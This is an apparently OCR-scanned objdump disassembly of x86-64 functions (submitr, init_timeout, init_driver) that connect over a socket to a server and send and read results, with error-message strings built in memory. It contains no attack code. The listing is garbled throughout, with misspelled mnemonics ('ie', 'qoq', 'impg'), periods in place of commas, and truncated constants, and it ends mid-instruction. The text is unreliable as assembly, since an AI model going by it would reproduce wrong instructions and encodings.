4020d8: ba 00 00 00 00
                                $0x0,%edx
                          mov
4020dd: be 01 00 00 00
                                $0x1,%esi
                          mov
4020e2: bf 02 00 00 00
                          mov $0x2.%edi
4020e7: e8 84 ec ff ff
                          callq 400d70 <socket@plt>
4020ec: 85 c0
                     test %eax.%eax
4020ee: 0f 88 a2 02 00 00
                          js
                              402396 <submitr+0x2f7>
4020f4: 89 c3
                           %eax,%ebx
                     mov
4020f6: 4c 89 e7
                          mov %r12,%rdi
4020f9: e8 62 eb ff ff
                          callq 400c60 <gethostbyname@plt>
4020fe: 48 85 c0
                          test %rax,%rax
402101: 0f 84 db 02 00 00
                              4023e2 < submitr+0x343>
                          ie
402107: 48 c7 84 24 32 a0 00
                               movg $0x0,0xa032(%rsp)
40210e: 00 00 00 00 00
402113: c7 84 24 3a a0 00 00
                               movl $0x0,0xa03a(%rsp)
40211a: 00 00 00 00
40211e: 66 c7 84 24 3e a0 00
                               movw $0x0,0xa03e(%rsp)
402125: 00 00 00
402128: 66 c7 84 24 30 a0 00
                               movw $0x2,0xa030(%rsp)
40212f: 00 02 00
402132: 48 63 50 14
                          movslq 0x14(%rax),%rdx
402136: 48 8b 40 18
                          mov 0x18(%rax),%rax
40213a: 48 8b 30
                          mov (%rax),%rsi
40213d: 48 8d bc 24 34 a0 00
                               lea 0xa034(%rsp),%rdi
402144: 00
402145: b9 0c 00 00 00
                          mov $0xc,%ecx
40214a: e8 21 eb ff ff
                          callg 400c70 < memmove chk@plt>
40214f: 0f b7 44 24 04
                          movzwl 0x4(%rsp),%eax
402154: 66 c1 c8 08
                          ror $0x8,%ax
402158: 66 89 84 24 32 a0 00
                               mov %ax,0xa032(%rsp)
40215f: 00
402160: ba 10 00 00 00
                          mov
                               $0x10,%edx
402165: 48 8d b4 24 30 a0 00
                               lea 0xa030(%rsp),%rsi
40216c: 00
40216d: 89 df
                     mov %ebx,%edi
40216f: e8 cc eb ff ff
                          callq 400d40 <connect@plt>
402174: 85 c0
                     test %eax,%eax
402176: 0f 88 ce 02 00 00
                          is
                              40244a <submitr+0x3ab>
```

```
40217c: 48 c7 c6 ff ff ff
                                 $0xffffffffffff,%rsi
                           mov
402183: b8 00 00 00 00
                                 $0x0,%eax
                           mov
402188: 48 89 f1
                                 %rsi.%rcx
                           mov
40218b: 4c 89 ef
                                 %r13.%rdi
                           mov
40218e: f2 ae
                      repnz scas %es:(%rdi),%al
402190: 48 89 ca
                                 %rcx,%rdx
                           mov
                                %rdx
402193: 48 f7 d2
                           not
402196: 48 89 f1
                                 %rsi.%rcx
                           mov
402199: 4c 89 ff
                      mov %r15,%rdi
40219c: f2 ae
                      repnz scas %es:(%rdi).%al
40219e: 48 f7 d1
                           not
                                %rcx
4021a1: 49 89 c8
                                 %rcx,%r8
                           mov
4021a4: 48 89 f1
                           mov
                                 %rsi.%rcx
4021a7: 4c 89 f7
                                 %r14,%rdi
                           mov
                      repnz scas %es:(%rdi),%al
4021aa: f2 ae
4021ac: 48 f7 d1
                           not
                                %rcx
4021af: 4d 8d 44 08 fe
                                -0x2(%r8,%rcx,1),%r8
                           lea
4021b4: 48 89 f1
                                 %rsi.%rcx
                           mov
4021b7: 48 8b 7c 24 08
                                 0x8(%rsp),%rdi
                           mov
                      repnz scas %es:(%rdi),%al
4021bc: f2 ae
4021be: 48 89 c8
                           mov
                                 %rcx,%rax
4021c1: 48 f7 d0
                           not
                                %rax
4021c4: 49 8d 4c 00 ff
                                -0x1(%r8,%rax,1),%rcx
                           lea
4021c9: 48 8d 44 52 fd
                                -0x3(%rdx,%rdx,2),%rax
                           lea
4021ce: 48 8d 84 01 80 00 00
                                lea 0x80(%rcx,%rax,1),%rax
4021d5: 00
                                 $0x2000,%rax
4021d6: 48 3d 00 20 00 00
                           cmp
4021dc: 0f 87 c2 02 00 00
                                4024a4 < submitr + 0x405 >
                           ia
4021e2: 48 8d b4 24 20 40 00
                                lea 0x4020(%rsp),%rsi
4021e9: 00
4021ea: b9 00 04 00 00
                                 $0x400,%ecx
                           mov
4021ef: b8 00 00 00 00
                                 $0x0,%eax
                           mov
4021f4: 48 89 f7
                                 %rsi,%rdi
                           mov
4021f7: f3 48 ab
                           rep stos %rax, %es: (%rdi)
4021fa: 4c 89 ef
                           mov
                                 %r13.%rdi
4021fd: e8 a9 fd ff ff
                           callq 401fab <urlencode>
402202: 85 c0
                      test %eax,%eax
402204: 0f 88 0d 03 00 00
                               402517 < submitr+0x478>
                           js
40220a: 4c 8d ac 24 20 60 00
                                lea 0x6020(%rsp),%r13
402211: 00
402212: 41 54
                      push %r12
402214: 48 8d 84 24 28 40 00
                                     0x4028(%rsp),%rax
                                lea
40221b: 00
40221c: 50
                      push %rax
40221d: 4d 89 f9
                           mov
                                 %r15,%r9
402220: 4d 89 f0
                           mov
                                 %r14,%r8
402223: b9 58 31 40 00
                                 $0x403158,%ecx
                           mov
402228: ba 00 20 00 00
                                 $0x2000,%edx
                           mov
40222d: be 01 00 00 00
                                 $0x1,%esi
                           mov
402232: 4c 89 ef
                                 %r13.%rdi
                           mov
402235: b8 00 00 00 00
                                 $0x0,%eax
                           mov
40223a: e8 21 eb ff ff
                           callq 400d60 <__sprintf_chk@plt>
```

```
40223f: 48 c7 c1 ff ff ff
                                 $0xfffffffffffff,%rcx
                           mov
402246: b8 00 00 00 00
                                 $0x0,%eax
                           mov
40224b: 4c 89 ef
                                 %r13.%rdi
                           mov
                      repnz scas %es:(%rdi),%al
40224e: f2 ae
                                %rcx,%rdx
402250: 48 89 ca
                           mov
402253: 48 f7 d2
                                %rdx
                           not
402256: 48 8d 52 ff
                           lea -0x1(%rdx),%rdx
40225a: 4c 89 ee
                                 %r13,%rsi
                           mov
40225d: 89 df
                      mov %ebx,%edi
40225f: e8 df fb ff ff
                           calla 401e43 <rio writen>
402264: 48 83 c4 10
                           add $0x10,%rsp
402268: 48 85 c0
                           test %rax,%rax
                              4025a2 <submitr+0x503>
40226b: 0f 88 31 03 00 00
                           is
402271: 89 de
                            %ebx,%esi
                      mov
                                lea 0x8020(%rsp),%rdi
402273: 48 8d bc 24 20 80 00
40227a: 00
40227b: e8 83 fb ff ff
                           callq 401e03 <rio_readinitb>
402280: ba 00 20 00 00
                           mov $0x2000.%edx
402285: 48 8d b4 24 20 60 00
                                    0x6020(%rsp),%rsi
                                lea
40228c: 00
40228d: 48 8d bc 24 20 80 00
                                lea
                                    0x8020(%rsp),%rdi
402294: 00
402295: e8 92 fc ff ff
                           callq 401f2c <rio readlineb>
40229a: 48 85 c0
                           test %rax,%rax
40229d: 0f 8e 6e 03 00 00
                           ile 402611 < submitr+0x572>
4022a3: 4c 8d 44 24 10
                           lea 0x10(%rsp),%r8
4022a8: 48 8d 8c 24 1c 20 00
                                lea 0x201c(%rsp),%rcx
4022af: 00
4022b0: 48 8d 94 24 20 20 00
                                    0x2020(%rsp),%rdx
                                lea
4022b7: 00
                                 $0x4031cf,%esi
4022b8: be cf 31 40 00
                           mov
4022bd: 48 8d bc 24 20 60 00
                                lea 0x6020(%rsp),%rdi
4022c4: 00
4022c5: b8 00 00 00 00
                                 $0x0.%eax
                           mov
4022ca: e8 01 ea ff ff
                           callq 400cd0 < isoc99 sscanf@plt>
4022cf: 48 8d b4 24 20 60 00
                                lea 0x6020(%rsp),%rsi
4022d6: 00
4022d7: bf e6 31 40 00
                           mov $0x4031e6,%edi
4022dc: b9 03 00 00 00
                           mov $0x3,%ecx
4022e1: f3 a6
                      repz cmpsb %es:(%rdi),%ds:(%rsi)
4022e3: 0f 97 c0
                           seta %al
4022e6: 1c 00
                      sbb $0x0,%al
4022e8: 84 c0
                      test %al.%al
4022ea: 0f 84 9f 03 00 00
                               40268f <submitr+0x5f0>
                           jе
4022f0: ba 00 20 00 00
                           mov $0x2000.%edx
4022f5: 48 8d b4 24 20 60 00
                                lea
                                    0x6020(%rsp),%rsi
4022fc: 00
                                lea 0x8020(%rsp),%rdi
4022fd: 48 8d bc 24 20 80 00
402304: 00
402305: e8 22 fc ff ff
                           callq 401f2c <rio readlineb>
                           test %rax,%rax
40230a: 48 85 c0
40230d: 7f c0
                      jg
                          4022cf <submitr+0x230>
```

```
40230f: 48 b8 45 72 72 6f 72
                              movabs $0x43203a726f727245,%rax
402316: 3a 20 43
402319: 48 ba 6c 69 65 6e 74
                              movabs $0x6e7520746e65696c.%rdx
402320: 20 75 6e
402323: 48 89 45 00
                          mov
                                %rax,0x0(%rbp)
402327: 48 89 55 08
                                %rdx,0x8(%rbp)
                          mov
40232b: 48 b8 61 62 6c 65 20
                            movabs $0x206f7420656c6261,%rax
402332: 74 6f 20
402335: 48 ba 72 65 61 64 20
                              movabs $0x6165682064616572,%rdx
40233c: 68 65 61
40233f: 48 89 45 10
                                %rax,0x10(%rbp)
                          mov
402343: 48 89 55 18
                          mov
                                %rdx,0x18(%rbp)
402347: 48 b8 64 65 72 73 20
                              movabs $0x6f72662073726564,%rax
40234e: 66 72 6f
402351: 48 ba 6d 20 74 68 65
                              movabs $0x657220656874206d, %rdx
402358: 20 72 65
40235b: 48 89 45 20
                                %rax,0x20(%rbp)
                          mov
40235f: 48 89 55 28
                                %rdx,0x28(%rbp)
                          mov
402363: 48 b8 73 75 6c 74 20
                              movabs $0x72657320746c7573,%rax
40236a: 73 65 72
40236d: 48 89 45 30
                          mov
                                %rax,0x30(%rbp)
402371: c7 45 38 76 65 72 00
                              movl $0x726576,0x38(%rbp)
402378: 89 df
                     mov %ebx,%edi
40237a: e8 b1 e8 ff ff
                          callq 400c30 <close@plt>
40237f: b8 ff ff ff
                           $0xffffffff,%eax
                     mov
402384: 48 81 c4 48 a0 00 00
                              add $0xa048,%rsp
                           %rbx
40238b: 5b
                     qoq
40238c: 5d
                     pop %rbp
40238d: 41 5c
                          %r12
                     pop
                          %r13
40238f: 41 5d
                     pop
402391: 41 5e
                          %r14
                     pop
402393: 41 5f
                          %r15
                     pop
402395: c3
                     retq
402396: 48 b8 45 72 72 6f 72
                              movabs $0x43203a726f727245,%rax
40239d: 3a 20 43
4023a0: 48 ba 6c 69 65 6e 74
                              movabs $0x6e7520746e65696c,%rdx
4023a7: 20 75 6e
                                %rax,0x0(%rbp)
4023aa: 48 89 45 00
                          mov
4023ae: 48 89 55 08
                          mov
                                %rdx,0x8(%rbp)
4023b2: 48 b8 61 62 6c 65 20
                              movabs $0x206f7420656c6261,%rax
4023b9: 74 6f 20
4023bc: 48 ba 63 72 65 61 74
                              movabs $0x7320657461657263,%rdx
4023c3: 65 20 73
4023c6: 48 89 45 10
                                %rax,0x10(%rbp)
                         mov
4023ca: 48 89 55 18
                          mov
                                %rdx,0x18(%rbp)
                              movl $0x656b636f,0x20(%rbp)
4023ce: c7 45 20 6f 63 6b 65
4023d5: 66 c7 45 24 74 00 movw $0x74,0x24(%rbp)
4023db: b8 ff ff ff
                     mov $0xffffffff,%eax
4023e0: eb a2
                     jmp 402384 <submitr+0x2e5>
4023e2: 48 b8 45 72 72 6f 72
                              movabs $0x44203a726f727245,%rax
4023e9: 3a 20 44
4023ec: 48 ba 4e 53 20 69 73
                              movabs $0x6e7520736920534e,%rdx
```

```
4023f3: 20 75 6e
4023f6: 48 89 45 00
                                %rax,0x0(%rbp)
                          mov
4023fa: 48 89 55 08
                                %rdx.0x8(%rbp)
                          mov
                              movabs $0x206f7420656c6261,%rax
4023fe: 48 b8 61 62 6c 65 20
402405: 74 6f 20
402408: 48 ba 72 65 73 6f 6c
                              movabs $0x2065766c6f736572,%rdx
40240f: 76 65 20
402412: 48 89 45 10
                                %rax,0x10(%rbp)
                          mov
402416: 48 89 55 18
                          mov
                                %rdx,0x18(%rbp)
40241a: 48 b8 73 65 72 76 65
                              movabs $0x6120726576726573, %rax
402421: 72 20 61
402424: 48 89 45 20
                          mov %rax,0x20(%rbp)
                              movl $0x65726464,0x28(%rbp)
402428: c7 45 28 64 64 72 65
40242f: 66 c7 45 2c 73 73 movw $0x7373,0x2c(%rbp)
402435: c6 45 2e 00
                          movb $0x0,0x2e(%rbp)
402439: 89 df
                     mov %ebx,%edi
40243b: e8 f0 e7 ff ff
                          callq 400c30 <close@plt>
402440: b8 ff ff ff
                     mov $0xffffffff.%eax
402445: e9 3a ff ff ff
                          jmpq 402384 <submitr+0x2e5>
40244a: 48 b8 45 72 72 6f 72
                              movabs $0x55203a726f727245,%rax
402451: 3a 20 55
402454: 48 ba 6e 61 62 6c 65
                              movabs $0x6f7420656c62616e, %rdx
40245b: 20 74 6f
40245e: 48 89 45 00
                                %rax,0x0(%rbp)
                          mov
402462: 48 89 55 08
                          mov
                                %rdx,0x8(%rbp)
402466: 48 b8 20 63 6f 6e 6e
                              movabs $0x7463656e6e6f6320, %rax
40246d: 65 63 74
402470: 48 ba 20 74 6f 20 74
                              movabs $0x20656874206f7420,%rdx
402477: 68 65 20
40247a: 48 89 45 10
                          mov
                                %rax,0x10(%rbp)
40247e: 48 89 55 18
                                %rdx,0x18(%rbp)
                          mov
402482: c7 45 20 73 65 72 76
                              movl $0x76726573,0x20(%rbp)
402489: 66 c7 45 24 65 72 movw $0x7265,0x24(%rbp)
40248f: c6 45 26 00
                          movb $0x0,0x26(%rbp)
402493: 89 df
                     mov %ebx,%edi
402495: e8 96 e7 ff ff
                          callq 400c30 <close@plt>
40249a: b8 ff ff ff
                     mov $0xfffffff,%eax
40249f: e9 e0 fe ff ff
                          jmpq 402384 <submitr+0x2e5>
                              movabs $0x52203a726f727245,%rax
4024a4: 48 b8 45 72 72 6f 72
4024ab: 3a 20 52
4024ae: 48 ba 65 73 75 6c 74
                              movabs $0x747320746c757365,%rdx
4024b5: 20 73 74
4024b8: 48 89 45 00
                                %rax,0x0(%rbp)
                          mov
4024bc: 48 89 55 08
                                %rdx,0x8(%rbp)
                          mov
4024c0: 48 b8 72 69 6e 67 20
                              movabs $0x6f6f7420676e6972,%rax
4024c7: 74 6f 6f
4024ca: 48 ba 20 6c 61 72 67
                              movabs $0x202e656772616c20,%rdx
4024d1: 65 2e 20
4024d4: 48 89 45 10
                                %rax,0x10(%rbp)
                          mov
4024d8: 48 89 55 18
                                %rdx,0x18(%rbp)
                          mov
                              movabs $0x6573616572636e49, %rax
4024dc: 48 b8 49 6e 63 72 65
4024e3: 61 73 65
```

```
4024e6: 48 ba 20 53 55 42 4d
                              movabs $0x5254494d42555320,%rdx
4024ed: 49 54 52
4024f0: 48 89 45 20
                         mov
                                %rax.0x20(%rbp)
                         mov
4024f4: 48 89 55 28
                                %rdx.0x28(%rbp)
4024f8: 48 b8 5f 4d 41 58 42
                              movabs $0x46554258414d5f, %rax
4024ff: 55 46 00
402502: 48 89 45 30
                          mov %rax,0x30(%rbp)
402506: 89 df
                     mov %ebx,%edi
                          callq 400c30 <close@plt>
402508: e8 23 e7 ff ff
40250d: b8 ff ff ff
                     mov $0xffffffff.%eax
402512: e9 6d fe ff ff
                          impg 402384 <submitr+0x2e5>
402517: 48 b8 45 72 72 6f 72
                              movabs $0x52203a726f727245,%rax
40251e: 3a 20 52
402521: 48 ba 65 73 75 6c 74
                           movabs $0x747320746c757365,%rdx
402528: 20 73 74
40252b: 48 89 45 00
                                %rax,0x0(%rbp)
                          mov
40252f: 48 89 55 08
                                %rdx,0x8(%rbp)
                          mov
402533: 48 b8 72 69 6e 67 20
                              movabs $0x6e6f6320676e6972, %rax
40253a: 63 6f 6e
40253d: 48 ba 74 61 69 6e 73
                              movabs $0x6e6120736e696174, %rdx
402544: 20 61 6e
402547: 48 89 45 10
                                %rax,0x10(%rbp)
                          mov
40254b: 48 89 55 18
                                %rdx,0x18(%rbp)
                          mov
40254f: 48 b8 20 69 6c 6c 65
                              movabs $0x6c6167656c6c6920, %rax
402556: 67 61 6c
402559: 48 ba 20 6f 72 20 75
                              movabs $0x72706e7520726f20,%rdx
402560: 6e 70 72
402563: 48 89 45 20
                                %rax,0x20(%rbp)
                          mov
402567: 48 89 55 28
                          mov
                                %rdx,0x28(%rbp)
40256b: 48 b8 69 6e 74 61 62
                              movabs $0x20656c6261746e69,%rax
402572: 6c 65 20
402575: 48 ba 63 68 61 72 61
                             movabs $0x6574636172616863,%rdx
40257c: 63 74 65
40257f: 48 89 45 30
                                %rax.0x30(%rbp)
                         mov
402583: 48 89 55 38
                                %rdx,0x38(%rbp)
                         mov
402587: 66 c7 45 40 72 2e movw $0x2e72,0x40(%rbp)
40258d: c6 45 42 00
                          movb $0x0,0x42(%rbp)
402591: 89 df
                     mov %ebx,%edi
                          callq 400c30 <close@plt>
402593: e8 98 e6 ff ff
402598: b8 ff ff ff
                     mov $0xffffffff,%eax
                         impg 402384 <submitr+0x2e5>
40259d: e9 e2 fd ff ff
4025a2: 48 b8 45 72 72 6f 72
                              movabs $0x43203a726f727245,%rax
4025a9: 3a 20 43
4025ac: 48 ba 6c 69 65 6e 74
                              movabs $0x6e7520746e65696c, %rdx
4025b3: 20 75 6e
4025b6: 48 89 45 00
                          mov
                                %rax,0x0(%rbp)
4025ba: 48 89 55 08
                                %rdx,0x8(%rbp)
                          mov
4025be: 48 b8 61 62 6c 65 20
                              movabs $0x206f7420656c6261,%rax
4025c5: 74 6f 20
4025c8: 48 ba 77 72 69 74 65
                              movabs $0x6f74206574697277,%rdx
4025cf: 20 74 6f
4025d2: 48 89 45 10
                         mov %rax,0x10(%rbp)
```

```
4025d6: 48 89 55 18
                          mov %rdx,0x18(%rbp)
4025da: 48 b8 20 74 68 65 20
                               movabs $0x7365722065687420, %rax
4025e1: 72 65 73
4025e4: 48 ba 75 6c 74 20 73
                              movabs $0x7672657320746c75.%rdx
4025eb: 65 72 76
4025ee: 48 89 45 20
                                %rax,0x20(%rbp)
                          mov
4025f2: 48 89 55 28
                          mov
                                %rdx,0x28(%rbp)
4025f6: 66 c7 45 30 65 72 movw $0x7265,0x30(%rbp)
4025fc: c6 45 32 00
                          movb $0x0,0x32(%rbp)
402600: 89 df
                     mov %ebx.%edi
402602: e8 29 e6 ff ff
                          callq 400c30 <close@plt>
402607: b8 ff ff ff
                     mov $0xffffffff,%eax
                          jmpg 402384 <submitr+0x2e5>
40260c: e9 73 fd ff ff
402611: 48 b8 45 72 72 6f 72
                              movabs $0x43203a726f727245,%rax
402618: 3a 20 43
40261b: 48 ba 6c 69 65 6e 74
                               movabs $0x6e7520746e65696c, %rdx
402622: 20 75 6e
402625: 48 89 45 00
                                %rax,0x0(%rbp)
                          mov
402629: 48 89 55 08
                          mov
                                %rdx,0x8(%rbp)
40262d: 48 b8 61 62 6c 65 20
                               movabs $0x206f7420656c6261,%rax
402634: 74 6f 20
402637: 48 ba 72 65 61 64 20
                               movabs $0x7269662064616572,%rdx
40263e: 66 69 72
402641: 48 89 45 10
                                %rax,0x10(%rbp)
                          mov
402645: 48 89 55 18
                          mov
                                %rdx,0x18(%rbp)
402649: 48 b8 73 74 20 68 65
                               movabs $0x6564616568207473, %rax
402650: 61 64 65
402653: 48 ba 72 20 66 72 6f
                               movabs $0x72206d6f72662072,%rdx
40265a: 6d 20 72
40265d: 48 89 45 20
                                %rax,0x20(%rbp)
                          mov
                                %rdx,0x28(%rbp)
402661: 48 89 55 28
                          mov
402665: 48 b8 65 73 75 6c 74
                             movabs $0x657320746c757365,%rax
40266c: 20 73 65
40266f: 48 89 45 30
                                %rax.0x30(%rbp)
                          mov
402673: c7 45 38 72 76 65 72
                               movl $0x72657672,0x38(%rbp)
40267a: c6 45 3c 00
                          movb $0x0,0x3c(%rbp)
40267e: 89 df
                     mov %ebx,%edi
402680: e8 ab e5 ff ff
                          callq 400c30 <close@plt>
402685: b8 ff ff ff
                     mov $0xffffffff,%eax
40268a: e9 f5 fc ff ff
                          jmpg 402384 <submitr+0x2e5>
40268f: ba 00 20 00 00
                                $0x2000,%edx
                          mov
402694: 48 8d b4 24 20 60 00
                               lea 0x6020(%rsp),%rsi
40269b: 00
40269c: 48 8d bc 24 20 80 00
                                   0x8020(%rsp),%rdi
                               lea
4026a3: 00
4026a4: e8 83 f8 ff ff
                          callq 401f2c <rio_readlineb>
                          test %rax,%rax
4026a9: 48 85 c0
4026ac: 0f 8e 93 00 00 00
                          ile 402745 <submitr+0x6a6>
4026b2: 44 8b 84 24 1c 20 00
                               mov 0x201c(%rsp),%r8d
4026b9: 00
4026ba: 41 81 f8 c8 00 00 00
                               cmp $0xc8,%r8d
4026c1: 0f 85 02 01 00 00
                          ine 4027c9 < submitr+0x72a>
```

```
4026c7: 48 8d b4 24 20 60 00
                               lea 0x6020(%rsp),%rsi
4026ce: 00
4026cf: 48 89 ef
                          mov
                                %rbp.%rdi
                          callg 400bd0 <strcpv@plt>
4026d2: e8 f9 e4 ff ff
                     mov %ebx,%edi
4026d7: 89 df
4026d9: e8 52 e5 ff ff
                          callq 400c30 <close@plt>
4026de: bf e0 31 40 00
                          mov $0x4031e0,%edi
4026e3: b9 04 00 00 00
                          mov $0x4,%ecx
4026e8: 48 89 ee
                          mov %rbp,%rsi
4026eb: f3 a6
                      repz cmpsb %es:(%rdi),%ds:(%rsi)
                          seta %al
4026ed: 0f 97 c0
4026f0: 1c 00
                     sbb $0x0,%al
                          movsbl %al,%eax
4026f2: 0f be c0
4026f5: 85 c0
                     test %eax.%eax
                              402384 < submitr+0x2e5 >
4026f7: 0f 84 87 fc ff ff
                          jе
4026fd: bf e4 31 40 00
                          mov $0x4031e4,%edi
402702: b9 05 00 00 00
                          mov $0x5,%ecx
402707: 48 89 ee
                          mov %rbp.%rsi
40270a: f3 a6
                     repz cmpsb %es:(%rdi),%ds:(%rsi)
40270c: 0f 97 c0
                          seta %al
40270f: 1c 00
                     sbb $0x0.%al
402711: 0f be c0
                          movsbl %al,%eax
402714: 85 c0
                     test %eax,%eax
402716: 0f 84 68 fc ff ff
                              402384 <submitr+0x2e5>
                          је
40271c: bf e9 31 40 00
                          mov $0x4031e9,%edi
402721: b9 03 00 00 00
                          mov $0x3,%ecx
402726: 48 89 ee
                          mov %rbp,%rsi
402729: f3 a6
                     repz cmpsb %es:(%rdi),%ds:(%rsi)
40272b: 0f 97 c0
                          seta %al
40272e: 1c 00
                     sbb $0x0,%al
402730: 0f be c0
                          movsbl %al,%eax
402733: 85 c0
                     test %eax,%eax
402735: 0f 84 49 fc ff ff
                          je 402384 <submitr+0x2e5>
                     mov $0xfffffff,%eax
40273b: b8 ff ff ff
402740: e9 3f fc ff ff
                          jmpg 402384 <submitr+0x2e5>
402745: 48 b8 45 72 72 6f 72
                               movabs $0x43203a726f727245,%rax
40274c: 3a 20 43
40274f: 48 ba 6c 69 65 6e 74
                               movabs $0x6e7520746e65696c, %rdx
402756: 20 75 6e
402759: 48 89 45 00
                                %rax,0x0(%rbp)
                          mov
40275d: 48 89 55 08
                                %rdx,0x8(%rbp)
                          mov
                               movabs $0x206f7420656c6261,%rax
402761: 48 b8 61 62 6c 65 20
402768: 74 6f 20
40276b: 48 ba 72 65 61 64 20
                               movabs $0x6174732064616572,%rdx
402772: 73 74 61
402775: 48 89 45 10
                          mov
                                %rax,0x10(%rbp)
402779: 48 89 55 18
                                %rdx,0x18(%rbp)
                          mov
40277d: 48 b8 74 75 73 20 6d
                               movabs $0x7373656d20737574,%rax
402784: 65 73 73
402787: 48 ba 61 67 65 20 66
                               movabs $0x6d6f726620656761,%rdx
40278e: 72 6f 6d
402791: 48 89 45 20
                          mov
                                %rax,0x20(%rbp)
```

```
402795: 48 89 55 28
                                  %rdx,0x28(%rbp)
                            mov
402799: 48 b8 20 72 65 73 75
                                movabs $0x20746c7573657220, %rax
4027a0: 6c 74 20
4027a3: 48 89 45 30
                                  %rax.0x30(%rbp)
                           mov
4027a7: c7 45 38 73 65 72 76
                                movl $0x76726573,0x38(%rbp)
4027ae: 66 c7 45 3c 65 72
                           movw $0x7265,0x3c(%rbp)
4027b4: c6 45 3e 00
                            movb $0x0,0x3e(%rbp)
4027b8: 89 df
                       mov %ebx,%edi
4027ba: e8 71 e4 ff ff
                            callq 400c30 <close@plt>
4027bf: b8 ff ff ff
                       mov $0xffffffff.%eax
4027c4: e9 bb fb ff ff
                            impg 402384 <submitr+0x2e5>
4027c9: 4c 8d 4c 24 10
                            lea 0x10(%rsp),%r9
4027ce: b9 98 31 40 00
                            mov $0x403198,%ecx
4027d3: 48 c7 c2 ff ff ff
                                  $0xfffffffffffff,%rdx
                            mov
4027da: be 01 00 00 00
                            mov
                                  $0x1,%esi
4027df: 48 89 ef
                                  %rbp,%rdi
                            mov
4027e2: b8 00 00 00 00
                                 $0x0,%eax
                            mov
4027e7: e8 74 e5 ff ff
                            callq 400d60 < sprintf chk@plt>
4027ec: 89 df
                             %ebx.%edi
                       mov
4027ee: e8 3d e4 ff ff
                            callq 400c30 <close@plt>
4027f3: b8 ff ff ff
                       mov $0xffffffff,%eax
4027f8: e9 87 fb ff ff
                           impg 402384 <submitr+0x2e5>
0000000004027fd <init timeout>:
                       test %edi,%edi
4027fd: 85 ff
4027ff: 74 26
                           402827 <init timeout+0x2a>
                       push %rbx
402801: 53
402802: 89 fb
                       mov %edi.%ebx
402804: 85 ff
                       test %edi,%edi
402806: 78 18
                           402820 <init timeout+0x23>
                       js
402808: be 15 1e 40 00
                            mov $0x401e15,%esi
40280d: bf 0e 00 00 00
                            mov $0xe, %edi
402812: e8 39 e4 ff ff
                            callq 400c50 <signal@plt>
402817: 89 df
                             %ebx.%edi
                       mov
402819: e8 02 e4 ff ff
                            callq 400c20 <alarm@plt>
                             %rbx
40281e: 5b
                       pop
40281f: c3
                       reta
                            mov $0x0,%ebx
402820: bb 00 00 00 00
                       jmp 402808 <init timeout+0xb>
402825: eb e1
402827: f3 c3
                       repz reta
0000000000402829 <init driver>:
402829: 55
                       push %rbp
40282a: 53
                       push %rbx
40282b: 48 83 ec 18
                            sub
                                 $0x18,%rsp
40282f: 48 89 fd
                            mov
                                  %rdi,%rbp
402832: be 01 00 00 00
                                  $0x1,%esi
                            mov
402837: bf 0d 00 00 00
                                 $0xd,%edi
                            mov
40283c: e8 0f e4 ff ff
                            callq 400c50 <signal@plt>
402841: be 01 00 00 00
                            mov
                                 $0x1.%esi
402846: bf 1d 00 00 00
                            mov $0x1d,%edi
40284b: e8 00 e4 ff ff
                            callq 400c50 <signal@plt>
```

```
402850: be 01 00 00 00
                                $0x1,%esi
                          mov
402855: bf 1d 00 00 00
                                $0x1d,%edi
                          mov
40285a: e8 f1 e3 ff ff
                           callq 400c50 <signal@plt>
40285f: ba 00 00 00 00
                                $0x0.%edx
                           mov
402864: be 01 00 00 00
                           mov
                                $0x1,%esi
402869: bf 02 00 00 00
                           mov $0x2,%edi
40286e: e8 fd e4 ff ff
                           callq 400d70 <socket@plt>
402873: 85 c0
                      test %eax,%eax
402875: 0f 88 88 00 00 00
                          is
                               402903 <init driver+0xda>
40287b: 89 c3
                            %eax,%ebx
                      mov
40287d: bf ec 31 40 00
                           mov $0x4031ec,%edi
402882: e8 d9 e3 ff ff
                           callg 400c60 < gethostbyname@plt>
402887: 48 85 c0
                           test %rax,%rax
40288a: 0f 84 bf 00 00 00
                               40294f <init driver+0x126>
                           įе
                               movg $0x0,0x2(%rsp)
402890: 48 c7 44 24 02 00 00
402897: 00 00
402899: c7 44 24 0a 00 00 00
                               movl $0x0,0xa(%rsp)
4028a0: 00
4028a1: 66 c7 44 24 0e 00 00
                               movw $0x0,0xe(%rsp)
4028a8: 66 c7 04 24 02 00
                          movw $0x2,(%rsp)
4028ae: 48 63 50 14
                           movslq 0x14(%rax),%rdx
4028b2: 48 8b 40 18
                           mov 0x18(%rax),%rax
4028b6: 48 8b 30
                           mov (%rax),%rsi
4028b9: 48 8d 7c 24 04
                          lea 0x4(%rsp),%rdi
4028be: b9 0c 00 00 00
                          mov $0xc,%ecx
4028c3: e8 a8 e3 ff ff
                           callq 400c70 < __memmove_chk@plt>
4028c8: 66 c7 44 24 02 3c 9a
                               movw $0x9a3c,0x2(%rsp)
4028cf: ba 10 00 00 00
                           mov $0x10.%edx
4028d4: 48 89 e6
                           mov
                                 %rsp,%rsi
4028d7: 89 df
                      mov %ebx,%edi
                           callq 400d40 <connect@plt>
4028d9: e8 62 e4 ff ff
4028de: 85 c0
                      test %eax,%eax
                              4029b7 <init driver+0x18e>
4028e0: 0f 88 d1 00 00 00
                          is
                           %ebx.%edi
4028e6: 89 df
                      mov
4028e8: e8 43 e3 ff ff
                           callq 400c30 <close@plt>
4028ed: 66 c7 45 00 4f 4b
                          movw $0x4b4f,0x0(\%rbp)
4028f3: c6 45 02 00
                           movb $0x0,0x2(\%rbp)
4028f7: b8 00 00 00 00
                          mov $0x0,%eax
4028fc: 48 83 c4 18
                           add $0x18,%rsp
402900: 5b
                            %rbx
                      pop
402901: 5d
                      qoq
                            %rbp
402902: c3
                      reta
402903: 48 b8 45 72 72 6f 72
                               movabs $0x43203a726f727245,%rax
40290a: 3a 20 43
40290d: 48 ba 6c 69 65 6e 74
                               movabs $0x6e7520746e65696c, %rdx
402914: 20 75 6e
402917: 48 89 45 00
                                 %rax,0x0(%rbp)
                           mov
                                 %rdx,0x8(%rbp)
40291b: 48 89 55 08
                           mov
40291f: 48 b8 61 62 6c 65 20
                               movabs $0x206f7420656c6261,%rax
402926: 74 6f 20
402929: 48 ba 63 72 65 61 74
                               movabs $0x7320657461657263,%rdx
402930: 65 20 73
```

```
402933: 48 89 45 10
                                 %rax,0x10(%rbp)
                           mov
402937: 48 89 55 18
                                 %rdx,0x18(%rbp)
                           mov
40293b: c7 45 20 6f 63 6b 65
                               movl $0x656b636f,0x20(%rbp)
402942: 66 c7 45 24 74 00 movw $0x74.0x24(%rbp)
402948: b8 ff ff ff
                      mov $0xffffffff.%eax
40294d: eb ad
                      imp 4028fc <init driver+0xd3>
40294f: 48 b8 45 72 72 6f 72
